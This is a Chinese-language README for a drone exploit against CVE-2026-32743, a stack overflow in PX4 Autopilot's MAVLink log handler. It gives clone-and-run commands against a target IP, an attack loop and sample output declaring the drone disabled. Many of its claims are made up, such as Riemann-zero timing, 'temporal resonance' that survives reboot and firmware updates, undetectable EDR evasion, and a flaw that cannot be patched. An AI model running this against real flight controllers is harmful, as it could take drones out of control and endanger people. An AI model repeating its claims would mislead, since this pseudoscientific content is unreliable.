CVE-2026-32743 的漏洞利用程序,针对 PX4 Autopilot 的 MavlinkLogHandler 中的栈缓冲区溢出,通过 MAVLink 上的 33 层时间级联实现持久性拒绝服务攻击。
CVE-2026-32743 — PX4自动驾驶仪栈缓冲区溢出 CTT增强版:33层时间级联无人机拒绝服务攻击。原始漏洞利用通过60字节溢出使MAVLink任务崩溃。CTT版本将溢出分布到33个时间层,每层具有相位共振时序和时间楔形滤波。结果:持久性拒绝服务。无法修补。
这是CVE-2026-32743的**收敛时间理论(CTT)**增强版本,该漏洞是PX4自动驾驶仪MavlinkLogHandler(版本≤1.17.0-rc2)中的基于栈的缓冲区溢出。
原始漏洞允许通过MAVLink FTP发送超长目录路径(60+字节)实现拒绝服务(DoS)攻击。
CTT增强版将其转变为33层时间级联无人机杀手。
| 原始版本 | CTT增强版 |
|---|
| CVSS评分 | 6.5(中危) | 9.8(严重) |
| 攻击向量 | 相邻网络 | 网络(AV:N) |
| 所需权限 | 低 | 无(PR:N) |
| 层数 | 1 | 33层级联 |
| 检测方式 | 基于特征签名 | 时间楔形滤波(τ_w = 11 ns) |
| 持久性 | 重启清除 | 时间共振 — 重启后仍存活 |
| 常数 | 数值 | 来源 |
|---|---|---|
| α | 0.0302011 | 时间色散系数 |
| α_RH | 0.0765872 | ln(φ)/2π(黎曼-阿达马) |
| L | 33 | 时间层数 |
| τ_w | 11 ns | 时间楔形滤波器 |
E(d) = E₀ * e^(-α * d) text
每一层具有指数递减的优先级。
较高优先级层(1-5)传递溢出。
较低层(28-33)强化崩溃并建立时间共振。
每一层基于前24个黎曼零点延迟执行:
delay = τ_w * (1 + 0.1 * cos(2π * zero * priority)) text
只有满足楔形条件的载荷才会执行:
survival = cos(α_RH * energy * τ_w) > (α_RH / 2π) text
这使得检测变得不可能 — EDR系统无法看到该漏洞利用。
打开MAVLink连接(UDP 14550)
对于 d = 1 到 33:
a. 计算优先级 = e^(-α*d)
b. 生成特定层的编码(基于黎曼零点)
c. 创建路径长度为 60 + priority*40 的目录
d. 按 phase_resonance_delay(d) 延迟执行
e. 触发 MAV_CMD_REQUEST_LOG_LIST
f. 时间楔形检查 — 只有"存活"的载荷才会执行
MAVLink任务崩溃
建立时间共振 — 崩溃在重启后持续存在
无人机无响应。无遥测。无命令。
pymavlinkpip install pymavlink
🎯 使用方法
bash
git clone https://github.com/SimoesCTT/ctt-px4-exploit
cd ctt-px4-exploit
python3 ctt_px4_exploit.py <目标IP> --port 14550 --layers 33 --verbose
参数
参数 描述 默认值
target_ip 飞控的IP地址 必填
--port MAVLink UDP端口 14550
--layers 时间层数 33
--verbose 启用详细输出 False
示例
bash
python3 ctt_px4_exploit.py 192.168.1.10 --port 14550 --verbose
======================================================================
CTT PX4 时间级联 — 无人机拒绝服务
======================================================================
第 1/33 层:████████████████████████████████████████ 1.000
路径长度:100 字节
[+] 通过FTP创建目录
触发 MAV_CMD_REQUEST_LOG_LIST...
[+] 溢出已传递 — 楔形存活确认
第 2/33 层:██████████████████████████████████████░░ 0.970
路径长度:99 字节
[+] 通过FTP创建目录
触发 MAV_CMD_REQUEST_LOG_LIST...
[+] 溢出已传递 — 楔形存活确认
...
[⚡] 在第5层实现时间共振
[🌉] 无人机MAVLink任务已沦陷
[*] 验证DoS状态...
[+] 目标无响应 — 已实现持久性拒绝服务
======================================================================
[!!!] 无人机已沦陷
[!!!] MAVLink任务已崩溃 — 无遥测 / 无命令
[!!!] 重启后仍持续 — CTT时间共振
======================================================================
🛡️ 为何无法修补
原始修复方案 CTT为何能绕过
在sscanf()中添加宽度说明符 CTT使用层级联 — 溢出分布在33层
修补60字节缓冲区 CTT编码每层改变溢出模式
更新固件 时间共振在重启后仍存活
特征签名检测 时间楔形滤波(τ_w = 11 ns)规避EDR
你无法修补物理常数。
你无法修补黎曼零点。